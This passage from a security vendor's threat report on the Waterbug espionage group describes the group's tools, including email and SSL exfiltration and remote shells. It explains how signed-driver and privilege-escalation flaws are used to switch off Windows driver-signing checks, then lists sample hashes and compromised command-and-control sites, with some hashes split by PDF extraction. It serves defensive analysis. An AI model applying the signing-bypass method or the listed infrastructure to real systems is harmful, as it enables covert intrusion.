Turla XOR key Compresses into .cab file Writes entry to vtmon.bin file Copies compressed file to System\win.com for exfiltration Can execute files msnetserv.exe  56f423c7a7fef041f3039319f2055509 22149a1ee21e6d60758fe58b34f04952 Same as mswme32.exe msnet32.exe  eb40189cde69d60ca6f9a3f0531dbc5e  Same as mswme32.exe http://www.securityfocus.com/bid/31874 http://www.securityfocus.com/bid/31874 Page 30 The Waterbug attack group Additional exploits used Waterbug exploits several weaknesses in Windows and a device driver vulnerability to load an unsigned driver on the x64 Windows platform.
The vulnerabilities used are as follows: Sun xVM VirtualBox VBoxDrv.sys Local Privilege Escalation Vulnerability (CVE-2008-3431) Microsoft Windows GP Trap Handler Local Privilege Escalation Vulnerability (CVE-2010-0232) Microsoft Windows Argument Validation Local Privilege Escalation Vulnerability (CVE-2009-1125) Sun xVM VirtualBox VBoxDrv.sys Local Privilege Escalation Vulnerability (CVE- 2008-3431) This vulnerability lets attackers get access to the g_CiEnabled flag which is supposed to be protected.
This vulnerability is used by most of the driver-based exploits.
Attackers can exploit a device IO vulnerability in the VBoxDrv.sys driver to set the g_CiEnabled flag to 0, allowing any driver to be installed without performing code-signing checks.
The g_CiEnabled is a Windows flag that sets or resets when the computer restarts.
This flag indicates whether Windows should validate digital signatures before loading a driver.
By default, x64 computers only allow signed drivers to be installed.
A pseudo-code description of SepInitializeCodeIntegrity follows: VOID SepInitializeCodeIntegrity()  DWORD CiOptions g _ CiEnabled  FALSE if(InitIsWinPEMode) g _ CiEnabled  TRUE The g_CiEnabled flag is set when the computer restarts, depending on whether the computer is being booted in WinPE mode or not.
Furthermore, whenever a driver is being loaded after the computer restarts, the operating system checks for this flag before validating the signature in the SeValidateImageHeader() function.
In order to load the unsigned Uroburos driver, the attackers first gain access to the g_CiEnabled flag and then set it to zero.
This resets the code-signing policy on the computer.
However, resetting the flag requires kernel privileges.
Because of this, the malware exploits a device IO vulnerability from an already signed driver (VBoxDrv.sys) to rpcsrv.exe  20c9df1e5f426f9eb7461cd99d406904  RPC server using ncacn_np identifier and binds to \\pipe\ hello Has several log strings pertaining to HTTP file downloads, list HTTP requests, list HTTP connections, remote HTTP requests Can be used as a proxy charmap32.exe  ed3509b103dc485221c85d865fafafac  Executes msinfo32.exe /nfo and direct output to winview.nfo Creates cab file by compressing winview.nfo to winview.ocx Deletes winview.nfo Reads  encrypts contents of cab file using common XOR mqsvc32.exe  09886f7c1725fe5b86b28dd79bc7a4d1  Capable of sending exfiltrated data through email using MAPI32.dll msrss.exe  fb56ce4b853a94ae3f64367c02ec7e31  Registers as a service svcmgr with display name Windows Svcmgr Compiled with OpenSSL 1.0.0d 8 Feb 2011 Can spawn command line shell process and send results to CC through SSL May read/write shell results to msrecda.dat dc1.exe  fb56ce4b853a94ae3f64367c02ec7e31  Same as msrss.exe svcmgr.exe  fb56ce4b853a94ae3f64367c02ec7e31  Same as msrss.exe msx32.exe  98992c12e58745854a885f9630124d3e  Used to encrypt file (supplied as argument on command line) using common Trojan.
Turla XOR key Output written to [FILE NAME].XOR http://www.securityfocus.com/bid/30481 http://www.securityfocus.com/bid/37864 http://www.securityfocus.com/bid/35240 Page 31 The Waterbug attack group reset the flag.
Based on Symantecs analysis of a few driver exploits available on the internet and in the vboxdrv_win32.dll code, we see that in order to again access to g_CiEnabled, the sample first loads the ntoskrnl.exe image.
The malware then uses ci.dll to locate the CiInitialize() function address and finally the address of the g_CiEnabled flag.
The vboxdrv_win32.dll file has the signed VirtualBox driver (eaea9ccb40c82af8f3867cd0f4dd5e9d) embedded in it.
It loads this legitimate driver and then exploits the vulnerability to disable code-signing policy.
Microsoft Windows GP Trap Handler Local Privilege Escalation Vulnerability (CVE-2010-0232) The ms10_025_win32.dll file exploits a privilege escalation vulnerability in the GP trap handler.
The exploit works by executing debug.exe and then injecting a thread in this NTVDM subsystem.
MS09-025 Local privilege escalation vulnerability (CVE-2009-1125) The ms09-025_win32.dll file exploits a local privilege escalation vulnerability to gain administrative privileges on the system.
Samples Table 5 contains a list of samples associated with the Waterbug group.
Table 5.
Samples associated with the Waterbug group Threat family Timestamp MD5 Domain Initial infector (UI present) 4c65126ae52cadb76ca1a9cfb8b4ce74 Initial infector (UI present) 6776bda19a3a8ed4c2870c34279dbaa9 Initial infector (UI present) dba209c99df5e94c13b1f44c0f23ef2b Initial infector (UI present) f44b1dea7e56b5eac95c12732d9d6435 Initial infector (UI present) 1970-01-01 18:12:16 030f5fdb78bfc1ce7b459d3cc2cf1877 Initial infector (UI present) 1970-01-01 18:12:16 0f76ef2e6572befdc2ca1ca2ab15e5a1 Initial infector (UI present) 1970-01-01 18:12:16 7c52c340ec5c6f57ef2fd174e6490433 Initial infector (UI present) 1970-01-01 18:12:16 c7617251d523f3bc4189d53df1985ca9 Initial infector (UI present) 2014-01-13 12:37:45 1c3634c7777bd6667936ec279bac5c2a Initial infector (UI present) 2014-01-13 12:41:49 4d667af648047f2bd24511ef8f36c9cc Initial infector (UI present) 2014-02-05 14:37:32 626955d20325371aca2742a70d6861ab Initial infector (UI present) 2014-02-05 14:37:32 80323d1f7033bf33875624914a6a6010 Initial infector (UI present) 2014-02-05 14:39:27 77083b1709681d43a1b0503057b6f096 Page 32 The Waterbug attack group Wipbot 2013 2013-10-15 10:34:06 6a61adc3990ffcf2a4138db82a17a94f blog.epiccosplay.com/wp-includes/sitemap/ http://gofree.ir/wp-content/plugins/online-chat/ http://blog.epiccosplay.com/wp-includes/sitemap/ gofree.ir/wp-content/plugins/online-chat/ Wipbot 2013 2013-10-15 10:34:16 a9f007fe165a77d0b8142cc384bdf6c5 blog.epiccosplay.com/wp-includes/sitemap/ http://gofree.ir/wp-content/plugins/online-chat/ http://blog.epiccosplay.com/wp-includes/sitemap/ gofree.ir/wp-content/plugins/online-chat/ Wipbot 2013 2013-10-15 10:43:09 111ed2f02d8af54d0b982d8c9dd4932e Wipbot 2013 2013-10-15 10:43:09 24b354f8cfb6a181906ceaf9a7ec28b0 Wipbot 2013 2013-10-15 10:43:09 397c19d4686233bf1be2907e7f4cb4ff Wipbot 2013 2013-10-15 10:43:09 42b7b0bd4795fc8e336e1f145fc2d27c Wipbot 2013 2013-10-15 10:43:09 61316789205628dd260efe99047219eb Wipbot 2013 2013-10-15 10:43:09 d102e873971aa4190a809039bc789e4d Wipbot 2013 2013-10-15 10:43:09 dc37cba3e8699062b4346fd21f83de81 Wipbot 2013 2013-10-15 10:43:09 ea1c266eec718323265c16b1fdc92dac Wipbot 2013 2013-10-15 10:43:09 eaaf9f763ae8c70d6e63d4b1e3364f74 Wipbot 2013 2013-11-25 08:53:22 e50c8bd08efc3ad2e73f51444069f809 www.hadilotfi.com/wp-content/themes/profile/ homaxcompany.com/components/com_sitemap/ http://homaxcompany.com/components/com_sitemap/ http://www.hadilotfi.com/wp-content/themes/profile/ Wipbot 2013 2013-11-25 08:53:36 23bc358fd105a8ba1e5417b1054f26a6 www.hadilotfi.com/wp-content/themes/profile/ homaxcompany.com/components/com_sitemap/ http://homaxcompany.com/components/com_sitemap/ http://www.hadilotfi.com/wp-content/themes/profile/ Wipbot 2013 2013-11-25 08:55:28 1011a47f0dfcb897f7e051de3cc31577 Wipbot 2013 2013-11-25 08:55:28 3ab3d463575a011dfad630da154600b5 Wipbot 2013 2013-11-25 08:55:28 7731d42b043865559258464fe1c98513 Wipbot 2013 2013-11-25 08:55:28 fdba4370b60eda1ee852c6515da9da58 Wipbot 2013 2013-12-01 07:56:31 89b0f1a3a667e5cd43f5670e12dba411 Wipbot 2013 2014-01-09 11:20:46 810ba298ac614d63ed421b616a5df0d0 losdivulgadores.com/wp-content/plugins/wp-themes/ gspersia.com/first/fa/components/com_sitemap/ http://gspersia.com/first/fa/components/com_sitemap/ http://losdivulgadores.com/wp-content/plugins/ Wipbot 2013 2014-01-09 11:20:56 401910bebe1b9182c3ebbe5b209045ff losdivulgadores.com/wp-content/plugins/wp-themes/ gspersia.com/first/fa/components/com_sitemap/ http://gspersia.com/first/fa/components/com_sitemap/ http://losdivulgadores.com/wp-content/plugins/ Wipbot 2013 2014-01-09 11:34:48 ab686acde338c67bec8ab42519714273 Wipbot 2013 2014-01-20 06:06:18 b2d239cc342bf972a27c79642a9216fc http://ncmp2014.com/modules/mod_feed/feed/ mortezanevis.ir/wp-content/plugins/wp-static/ ncmp2014.com/modules/mod_feed/feed/ http://mortezanevis.ir/wp-content/plugins/wp-static/ Page 33 The Waterbug attack group Wipbot 2013 2014-01-20 06:06:30 b101bbf83bda2a7e4ff105a2eb496c7b http://ncmp2014.com/modules/mod_feed/feed/ mortezanevis.ir/wp-content/plugins/wp-static/ ncmp2014.com/modules/mod_feed/feed/ http://mortezanevis.ir/wp-content/plugins/wp-static/ Wipbot 2013 2014-01-20 06:18:06 d31f1d873fa3591c027b54c2aa76a52b Wipbot 2013 2014-02-04 11:29:36 cece6ec4d955b0f6fe09e057676105a7 http://onereliablesource.com/wp-content/plugins/ sitemap/ petrymantenimiento.com/wp-content/plugins/ http://petrymantenimiento.com/wp-content/plugins/ wordpress-form-manager/lang/ onereliablesource.com/wp-content/plugins/sitemap/ Wipbot 2013 2014-02-04 11:29:46 b4411b1de933399872e- 505ac4a74a871 http://onereliablesource.com/wp-content/plugins/ sitemap/ petrymantenimiento.com/wp-content/plugins/ http://petrymantenimiento.com/wp-content/plugins/ wordpress-form-manager/lang/ onereliablesource.com/wp-content/plugins/sitemap/ Wipbot 2013 2014-02-04 11:42:55 d22b0ec4e9b2302c07f38c835a78148a Wipbot 2013 2014-02-21 15:08:01 2b145a418daee6dc5f2a21d8567d0546 http://akva-clean.ru/typo3temp/wizard.php http://www.automation-net.ru/typo3temp/ akva-clean.ru/typo3temp/wizard.php www.automation-net.ru/typo3temp/viewpages.php Wipbot 2013 2014-02-21 15:08:21 eb45f5a97d52bcf42fa989bd57a160df http://akva-clean.ru/typo3temp/wizard.php http://www.automation-net.ru/typo3temp/ akva-clean.ru/typo3temp/wizard.php www.automation-net.ru/typo3temp/viewpages.php Wipbot 2013 2014-02-21 15:09:56 764d643e5cdf3b8d4a04b50d0bc44660 Wipbot 2013 2014-04-07 10:27:46 6f05fdf54ac2aef2b04b0fe3c8b642bb filesara.ir/wp-content/themes/argentum/view/ http://www.rchelicopterselect.com/blog/wp-content/ themes/pagelines/view/ http://filesara.ir/wp-content/themes/argentum/view/ www.rchelicopterselect.com/blog/wp-content/themes/ pagelines/view/ Wipbot 2013 2014-04-07 10:30:37) 34e8034e1eba9f2c100768afe579c014 filesara.ir/wp-content/themes/argentum/view/ http://www.rchelicopterselect.com/blog/wp-content/ themes/pagelines/view/ http://filesara.ir/wp-content/themes/argentum/view/ www.rchelicopterselect.com/blog/wp-content/themes/ pagelines/view/ Wipbot 2013 2014-04-07 10:31:02 f51ba5883a65a0f7cf6783a6490320d3 Wipbot 2013 2014-06-10 14:03:07 74ad9f180b1e1799b014f05b96f9d54e http://discontr.com/wp-content/themes/twentytwelve/ categories.php curaj.net/pepeni/images/discontr.com/wp-content/ themes/twentytwelve/categories.php http://curaj.net/pepeni/images/ Wipbot 2013 2014-06-10 14:05:04 2cba96a85424d8437289fb4ce6a42d82 http://discontr.com/wp-content/themes/twentytwelve/ categories.php curaj.net/pepeni/images/discontr.com/wp-content/ themes/twentytwelve/categories.php http://curaj.net/pepeni/images/ Wipbot 2013 2014-06-10 14:05:28 0e441602449856e57d110549602 3f458 Wipbot 2013 2014-07-01 07:55:17 16da515aebff57e9d287af65ab3ee200 www.aspit.sn/administrator/modules/mod_feed/feed.php http://www.aspit.sn/administrator/modules/mod_feed/ www.lacitedufleuve.com/Connections1/formulaire15.php http://www.lacitedufleuve.com/Connections1/formu- laire15.php Page 34 The Waterbug attack group Wipbot 2013 2014-07-01 07:55:17 456585dda72d985a0e58ab9f9ca3b5ff www.aspit.sn/administrator/modules/mod_feed/feed.php http://www.aspit.sn/administrator/modules/mod_feed/ www.lacitedufleuve.com/Connections1/formulaire15.php http://www.lacitedufleuve.com/Connections1/formu- laire15.php Wipbot 2013 2014-07-01 07:57:23 72025b23b54462942ea- 9f0a5437d1932 www.aspit.sn/administrator/modules/mod_feed/feed.php http://www.aspit.sn/administrator/modules/mod_feed/ www.lacitedufleuve.com/Connections1/formulaire15.php http://www.lacitedufleuve.com/Connections1/formu- laire15.php Wipbot 2013 2014-07-01 07:57:47 81371773630098af- 082d714501683c70 Wipbot 2013 2014-07-17 07:26:19 abf4996ce518b053c5791886bad7cf29 www.aspit.sn/administrator/modules/mod_feed/feed.php http://www.aspit.sn/administrator/modules/mod_feed/ www.lacitedufleuve.com/Connections1/formulaire15.php http://www.lacitedufleuve.com/Connections1/formu- laire15.php Wipbot 2013 2014-07-17 07:26:29 d17d99c2ba99889726c9709aa00dec76 www.aspit.sn/administrator/modules/mod_feed/feed.php http://www.aspit.sn/administrator/modules/mod_feed/ www.lacitedufleuve.com/Connections1/formulaire15.php http://www.lacitedufleuve.com/Connections1/formu- laire15.php Wipbot 2013 2014-07-17 07:37:24 6410632704138b439dea980c1c4dd17f FA 2009 4161f09f9774bd28f09b2725fd7594d6 FA 2009 43043da4b439d21e5fdf9b05f9e77e3e FA 2009 2005-12-02 11:29:22 c98a0d1909d8fad4110c8f35ee6f8391 FA 2009 2009-09-23 06:45:45 2b61e8a11749bfb55d21b5d8441de5c9 FA 2009 2009-02-13 11:20:40 985ec031a278aa529c1eb677e18e12b6 FA 2009 2009-02-13 11:20:40 98de96dfa10f7e8f437fbd4d12872bc1 FA 2009 2009-10-30 10:50:10 6375c136f7f631b1d9b497c277e2faa6 te4step.tripod.com www.scifi.pages.at/wordnew support4u.5u.com FA 2009 2009-02-13 11:20:40 9152e0b3f19cb13a91449994695ffe86 FA 2009 2009-02-13 11:20:40 bdb03ec85704879f53bb5d61b8150a0f FA 2009 2009-02-13 11:20:40 dee81c3b22e98abbf941eaf0ae9c5478 FA 2009 2009-11-10 08:32:24 ce1ebd1f0d9bf24e463f3637b648b16f te4step.tripod.com www.scifi.pages.at/wordnew support4u.5u.com FA 2009 600ef94ae8a54ce287fb64493ca43728 FA 2009 2009-02-13 11:20:40 9a2f7e8fa0e5ccda88902ac5ea9f4713 FA 2009 2009-02-13 11:20:40 dad958df3a5c79a1d86f57309b2d4ea3 FA 2009 2009-12-07 12:28:26 944736466a50cdf16270b74b31b 4d764 te4step.tripod.com www.scifi.pages.at/wordnew support4u.5u.com Page 35 The Waterbug attack group FA 2009 2009-12-07 12:41:17 e93f4dd907142db4b59bb736fc46f644 FA 2009 2010-01-28 14:30:29 938b92958ded4d50a357d22edd- f141ad FA 2009 2010-02-02 11:08:53 3fa48f0675eb35d85f30f66324692786 pressbrig1.tripod.com www.scifi.pages.at/wordnew support4u.5u.com FA 2009 2010-06-08 12:17:42 92f0ae3a725a42c28575290e1ad1ac4c te4step.tripod.com www.scifi.pages.at/wordnew support4u.5u.com FA 2009 2010-06-08 12:17:42 d664e4f660eb1f47e9879492c12d1042 FA 2011 536d604a1e6f7c6d635fef6137af34d1 FA 2011 b7cdff7d06e2c4656d860e2535bd8ee8 FA 2011 2011-10-11 11:09:19 4f901461bb8fa1369f85a7effd1787f1 euland.freevar.com communityeu.xp3.biz eu-sciffi.99k.org FA 2011 2012-03-12 12:26:39 9af488ce67be89b3908931fe4ab21831 euland.freevar.com communityeu.xp3.biz eu-sciffi.99k.org FA 2011 2012-12-26 07:14:18 deb674ce5721c5ed33446a32247a1a6b toolsthem.xp3.biz euassociate.6te.net softprog.freeoda.com FA 2011 2012-12-26 07:45:34 038f0e564c06a817e8a53d054406383e FA 2011 2012-12-26 07:45:34 07c11b3370bee83fc012cac23a8dfddb FA 2011 2012-12-27 10:19:53 6ae2efda0434d59ea808c2c6538243bc toolsthem.xp3.biz euassociate.6te.net softprog.freeoda.com FA 2011 2013-01-15 10:44:46 8a7b172691f99fb894dd1c5293c2d60a FA 2011 2013-01-15 10:44:46 ff64031d8e34243636ae725e8f9bbe8b FA 2011 2013-02-13 13:38:20 1fd0b620e7ba3e9f468b90ffb616675e toolsthem.xp3.biz euassociate.6te.net softprog.freeoda.com FA 2011 2013-02-27 14:23:41 1ecdb97b76bdae9810c1101d93dfe194 FA 2011 2013-02-27 14:23:41 a8a16187b033024e3e0d- 722ba33ee9da FA 2011 2013-03-27 07:10:08 b329095db961cf3b54d9acb48a3711da toolsthem.xp3.biz euassociate.6te.net softprog.freeoda.com FA 2011 2013-03-28 06:49:35 c09fbf1f2150c1cc87c8f45bd788f91f toolsthem.xp3.biz euassociate.6te.net softprog.freeoda.com FA 2011 2013-03-29 07:44:25 1bdd52a68fe474da685f1a2d502481cc FA 2011 2013-03-29 07:44:25 5ce3455b85f2e8738a9aceb815b48aee FA 2011 2013-03-29 07:51:34 6406ad8833bafec59a32be842245c7dc FA 2011 2013-03-29 07:51:34 a9b0f2d66d1b16acc1f1efa696074447 Page 36 The Waterbug attack group FA 2011 2013-07-25 05:58:46 2eb233a759642abaae2e- 3b29b7c85b89 swim.onlinewebshop.net winter.site11.com july.mypressonline.com FA 2011 2013-07-25 06:35:07 309cc1312adcc6fc53e6e6b7fa260093 FA 2011 2013-07-25 06:35:07 cd962320f5b1619b1c1773de235bda63 FA 2011 2013-08-29 07:34:54 973fce2d142e1323156ff1ad3735e50d FA 2011 2013-11-12 06:21:22 c0a2e3f9af9e227252428df59777fc47 FA 2011 2014-01-22 12:11:57 707cdd827cf0dff71c99b1e05665b905 swim.onlinewebshop.net north-area.bbsindex.com winter.site11.com july.mypressonline.com marketplace.servehttp.com FA 2011 2014-01-24 10:13:05 440802107441b03f- 09921138303ca9e9 swim.onlinewebshop.net north-area.bbsindex.com winter.site11.com july.mypressonline.com marketplace.servehttp.com FA 2011 2014-01-24 10:13:05 594cb9523e32a5bbf4eb1c491f06d4f9 swim.onlinewebshop.net north-area.bbsindex.com winter.site11.com july.mypressonline.com marketplace.servehttp.com FA 2011 2014-01-30 11:24:41 1fe6f0a83b332e58214c080aad300868 FA 2011 2014-01-30 11:24:41 606fa804373f595e37dc878055979c0c FA 2011 2014-01-31 05:53:22 22fb51ce6e0bc8b52e9e3810ca9dc2e1 swim.onlinewebshop.net winter.site11.com july.mypressonline.com Carbon 2007 2007-05-24 08:21:34 876903c3869abf77c8504148ac23f02b Carbon 2007 2007-06-14 13:01:39 5f7120d2debb34cab0e53b22c5e332e2 Carbon 2008 2008-09-12 13:11:13 177e1ba54fc154774d103971964 ee442 Carbon 2009 08cbc46302179c4cda4ec2f41fc9a965 Carbon 2009 76f796b5574c8e262afe98478f41558d soheylistore.ir:80:/modules/mod_feed/feed.php tazohor.com:80:/wp-includes/feed-rss-comments.php jucheafrica.com:80:/wp-includes/class-wp-edit.php 61paris.fr:80:/wp-includes/ms-set.php Carbon 2009 2009-06-22 09:17:40 bc87546fea261dab3cd95a00953179b8 Carbon 2009 2009-06-22 13:24:13 342700f8d9c1d23f3987df18db68cb4d Carbon 2009 2009-10-01 11:17:28 db93128bff2912a75b39ee117796cdc6 Carbon 2009 2009-10-01 11:17:59 62e9839bf0b81d7774a3606112b31 8e8 Carbon 2009 2009-10-02 07:06:07 a67311ec502593630307a5f3c220dc59 Carbon 2009 2009-10-02 07:06:42 a7853bab983ede28959a30653bae- c74a Page 37 The Waterbug attack group Carbon 2009 2009-10-02 07:07:16 2145945b9b32b4ccbd498d- b50419b39b Carbon 2009 2009-10-02 07:07:43 e1ee88eda1d399822587eb58eac9b347 Carbon 2009 2009-10-02 07:10:04 5b4a956c6ec246899b 1d459838892493 Carbon 2009 2009-10-02 07:11:33 5dd1973e760e393a5ac3305ffe94a1f2 Carbon 2009 2009-10-02 07:11:33 ae3774fefba7557599fcc8af547cca70 Carbon 2009 2009-11-04 20:03:41 53b59dffce657b59872278433f9244a2 Carbon 2009 2014-02-26 13:37:00 e6d1dcc6c2601e592f2b03f35b06fa8f Carbon 2009 2014-02-26 13:37:48 554450c1ecb925693fedbb9e56702646 Carbon 2009 2014-02-26 13:39:03 244505129d96be57134cb00f27d43 59c Carbon 2009 2014-02-26 13:39:52 4ae7e6011b- 550372d2a73ab3b4d67096 Carbon 2009 2014-02-26 13:39:52 ea23d67e41d1f0a7f7e7a8b59e7cb60f Carbon 2009 2014-02-26 13:43:19 43e896ede6fe025ee90f7f27c6d376a4 Carbon 2009 2014-02-26 13:43:30 4c1017de62ea4788c7c8058a8f825a2d Carbon 2009 2014-02-26 13:43:51 91a5594343b47462ebd6266a9c40ab- be Carbon 2009 2014-02-26 13:44:01 df230db9bddf200b24d8744ad84d80e8 Carbon 2009 2014-02-26 13:44:20 cb1b68d9971c2353c2d6a8119c49b51f soheylistore.ir:80:/modules/mod_feed/feed.php tazohor.com:80:/wp-includes/feed-rss-comments.php jucheafrica.com:80:/wp-includes/class-wp-edit.php 61paris.fr:80:/wp-includes/ms-set.php Carbon 2009 2014-07-02 19:56:22 3ab8d9eef5c32b5f8f6e4068710bd9e5 Carbon 2009 2014-07-02 19:56:22 6b6b979a4960d- 279b625378025e729cc Carbon 2009 2014-07-02 19:58:56 c466c5f8d127adb17fbc0c5182ecb118 Carbon 2009 2014-07-02 20:03:35 4c9e3ba2eda63e1be6f30581920230f0 Carbon 2009 2014-08-12 09:41:18 66962d3e0f00e7713c0e1483b4bf4b19 SAV [possibly compiled from pre-2011 sources] 2012-01-13 05:20:20 6e8bd431ef91d76e757650239fa478a5 SAV [possibly compiled from pre-2011 sources] 2012-01-13 05:20:20 f613fd96294515aaee3a2663d3b034c1 SAV [possibly compiled from pre-2011 sources] 2012-01-13 05:20:20 f86afb092e4b1a364ed6f6bc7f81db74 Page 38 The Waterbug attack group SAV 2011 2786525baa5f2f2569ca15caff1ebf86 SAV 2011 7a1348838ab5fe3954cb9298e65bfbee SAV 2011 a6fdf333606aef8c10d7e78444721c02 SAV 2011 1970-01-01 00:00:00 368d20edfd287e5ea3bb664a90e1a95e SAV 2011 2008-05-31 02:18:53 eaea9ccb40c82af8f3867cd0f4dd5e9d SAV 2011 2011-06-24 07:47:59 ed785bbd156b61553aaf78b6f71fb37b SAV 2011 2011-06-24 07:47:59 edd5fd7cf3b22fa4ea956d1a447520ff SAV 2011 2011-06-24 07:49:41 320f4e6ee421c1616bd058e73cfea282 SAV 2011 2011-06-24 07:49:41 40aa66d9600d82e6c814b- 5307c137be5 SAV 2011 2011-06-24 07:49:41 5036c44fbe7a99a0bddc9f05f7e9df77 SAV 2011 2011-06-24 07:49:41 60ec7a1c72f0775561819aa7681cf1ac SAV 2011 2011-06-24 07:49:41 c62e2197ac81347459e07d6b- 350be93a SAV 2011 2011-06-24 07:49:41 e265cd3e813d38d44e0fb7d84af24b4e SAV 2011 2011-06-24 07:49:41 f4f192004df1a4723cb9a8b4a9eb2fbf SAV 2011 2011-06-24 07:49:41 fb56784a109272bda77f241b06e4f850 SAV 2011 2011-10-26 05:04:06 4bd507e64c289d6687901baf16f6bbd7 SAV 2011 2011-10-26 05:04:06 e32d9e04c04c0c7e497905b5dcba7e50 SAV 2011 2011-10-26 05:04:06 ff411fc323e6652fcc0623fa1d9cb4d3 SAV 2011 2012-12-07 08:54:53 0565fc9cad0a9d3474fc8b6e69395362 SAV 2011 2012-12-07 08:54:53 ccb1b0e7ccd603c6cefc838c4a6fa132 SAV 2011 2013-02-04 13:17:56 69fc2ef72b3b0f30460b67d0201eef6e SAV 2011 2013-02-04 13:17:56 90478f6ed92664e0a6e6a25ecfa8e395 SAV 2011 2013-02-04 13:17:59 10254385e980f8b0784e13a5153e4f17 SAV 2011 2013-02-04 13:17:59 3e521e7d5b1825d8911fff9317503e13 SAV 2011 2013-02-04 13:17:59 b46c792c8e051bc5c9d4cecab96e4c30 SAV 2011 2013-02-04 13:18:09 2702e709eaae31c9255f812592d06932 SAV 2011 2013-02-04 13:18:09 5f8f3cf46719afa7eb5f761cdd18b63d Page 39 The Waterbug attack group SAV 2011 2013-02-04 13:18:09 c58ab0bec0ebaa0440e1f64aa9dd91b3 SAV 2011 2013-02-04 13:18:10 2b47ad7df9902aaa19474723064ee76f SAV 2011 2013-02-04 13:18:10 bd2fdaff34112cbfdfb8a0da75a92f61 SAV 2011 2013-02-04 13:18:10 ea3d1ee0dd5da37862ba81f468c44d2a SAV 2011 2013-02-04 13:19:09 f156ff2a1694f479a079f6777f0c5af0 SAV 2011 2013-02-04 13:19:14 83b9eeffc9aad9d777dd9a7654b3637e SAV 2011 2013-02-04 13:19:14 a22150576ca5c95c163fea4e4e750164 SAV 2011 2013-02-04 13:19:21 607d8fe2f3c823d961b95da106e9df5f SAV 2011 2013-02-04 13:19:21 626576e5f0f85d77c460a322a92bb267 SAV 2011 2013-02-04 13:19:25 5cc5989e870b23915280aee310669ccb SAV 2011 2013-02-04 13:19:25 611bbfb33b4b405d5d76a5519632f99a SAV 2011 2013-02-04 13:19:25 8c4029bbd9dfb1093fb9cca3db01f8ff SAV 2011 2013-02-04 13:19:25 8cf1c23e71783a4fb00005e569253d6d SAV 2011 2013-02-04 13:19:31 1d4ec94509aa1cb53148eb715facae76 SAV 2011 2013-02-04 13:19:31 209bfa50786096328934ad1dc62a4ec3 SAV 2011 2013-02-04 13:19:31 a655b19814b74086c- 10da409c1e509c0 SAV 2011 2013-02-04 13:19:53 1538246b770e215781e730297ce db071 SAV 2011 2013-02-04 13:19:53 199661f25577f69592e8caea76166605 SAV 2011 2013-02-04 13:19:53 3889a23e- 449362a34ba30d85089407c8 SAV 2011 2013-02-04 13:19:53 3c1a8991e96f4c56ae3e90fb6f0ae679 SAV 2011 2013-02-04 13:19:53 4535025837bebae- 7a04eb744383a82d7 SAV 2011 2013-02-04 13:19:59 1c6c857fa17ef0aa3373ff16084f2f1c SAV 2011 2013-02-04 13:19:59 1f7e40b81087dbc2a65683eb25df72c4 SAV 2011 2013-02-04 13:20:02 119f2d545b167745fc6f71aed1f117f6 SAV 2011 2013-02-04 13:20:02 750d2f5d99d69f07c6cee7d4cbb45e3f SAV 2011 2013-02-04 13:20:04 01829c159b- be25083b8d382f82b26672 SAV 2011 2013-02-04 13:20:04 3de8301147da3199e- 422b28bb782e2a9 SAV 2011 2013-02-04 13:20:04 a762d2c56999eda5316d0f94aba940cb Page 40 The Waterbug attack group SAV 2011 2013-02-04 13:20:04 f3858dc203da418474b5033a912170c0 SAV 2011 2013-02-04 13:20:04 f57c84e22e9e6eaa6cbd9730d7c652dc SAV 2011 2013-02-04 13:20:05 083c95e8ffa48f7da5ae82b0bd79db1b SAV 2011 2013-02-04 13:20:05 380bb5b8c750c7252948dc0890 1c0487 SAV 2011 2013-02-04 13:20:05 64adad7c7965a0abc87a1cbc6c77b558 SAV 2011 2013-02-04 13:20:05 8cd392a5b62c44dd88c6b847db428fba SAV 2011 2013-02-04 13:20:05 d4fb3ec5951a89a573445058012d7dcd SAV 2011 2013-02-08 12:12:45 01c90932794c9144fa6c842e2229e4ec SAV 2011 2013-02-08 12:12:45 24ad996024bb9b2321550ab- f348e009d SAV 2011 2013-02-08 12:12:45 921ad714e7fb01aaa8e9b960544e0d36 SAV 2011 2013-02-08 12:12:45 e183bfd93326f77f7596dcc41064a7c8 SAV 2011 2013-02-08 12:12:49 96fff289cc939d776a1198f460717aff SAV 2011 2013-02-08 12:12:49 eb621eeecafd25a15e999fe786470bf4 SAV 2011 2013-02-08 12:12:58 a231056fcc095d0f853e49f47988e46e SAV 2011 2013-02-08 12:12:58 ff8071d7147c4327e17c95824bb7315f SAV 2011 2013-02-08 12:13:00 465eed02d1646a3ad20c43b9f0bbe2e9 SAV 2011 2013-02-08 12:13:00 4c4e1a130bb2cea63944b589fc212e1f SAV 2011 2013-02-08 12:13:00 70dc1e25493940e959fd1f117e60a90c SAV 2011 2013-02-08 12:13:08 4f42fe8c67214c7ab5c9f8d6a8ed2c9c SAV 2011 2013-02-08 12:13:08 6095f71f699ff30bba2321d433e91e1d SAV 2011 2013-02-08 12:13:08 a86ac0ad1f8928e8d4e1b728448f54f9 SAV 2011 2013-02-08 12:13:18 22d01fa2725ad7a83948f399144563f9 SAV 2011 2013-02-08 12:13:18 3f4d37277737c118ecda5e90418597a5 SAV 2011 2013-02-08 12:13:18 498f9aa4992782784f49758c81679d0a SAV 2011 2013-02-08 12:13:18 bb4e92c27d52fb8514a133629c4c7b05 SAV 2011 2013-02-08 12:13:19 5ede9cb859b40fb01cf1efb6ad32a5f1 SAV 2011 2013-02-08 12:13:19 aa9b4a7faa33c763275d2888fbf0f38b SAV 2011 2013-02-08 12:13:22 b19d41bec36be0e54f8740855c309c85 Page 41 The Waterbug attack group SAV 2011 2013-02-08 12:13:22 ee58e5434b0cabaff8aba84ed1526d8d SAV 2011 2013-02-08 12:13:26 199fa4ef7c88271882d81618d82acd0a SAV 2011 2013-02-08 12:13:26 29f39297bd068b0b3f0ceb01abc1fa90 SAV 2011 2013-02-08 12:13:26 335387e729499ff7d46c25477e9c8c5a SAV 2011 2013-02-08 12:13:26 58c5f766ef18df552a8b39dab9d29d2a SAV 2011 2013-02-08 12:13:26 e224fd7563b9c7893566018204be820c SAV 2011 2013-05-14 10:42:23 b2a9326bc421581dc60a03b97ee7ffce SAV 2011 2013-05-14 10:42:23 c6c475d7678c1a3ccbba987042c08fdf SAV 2011 2013-10-04 13:07:42 02eb0ae7bfa899d80a6e8d14603a1774 SAV 2011 2013-10-04 13:07:42 41acf7f9e821d087781d9f69c5a08eb8 SAV 2011 2013-10-04 13:07:42 ddc439cae6bd6d68157e4d28b14be68c SAV 2011 2013-10-04 13:07:42 f65c36b49b3d1ad0074124b- d31c74b50 SAV 2011 2014-03-21 06:41:54 24f2b8ed1bab204f00dc49a76c4aa722 SAV 2011 2014-03-21 06:41:54 43af46ba9015a06cc8ffaac6105ea732 SAV 2011 2014-03-21 06:41:54 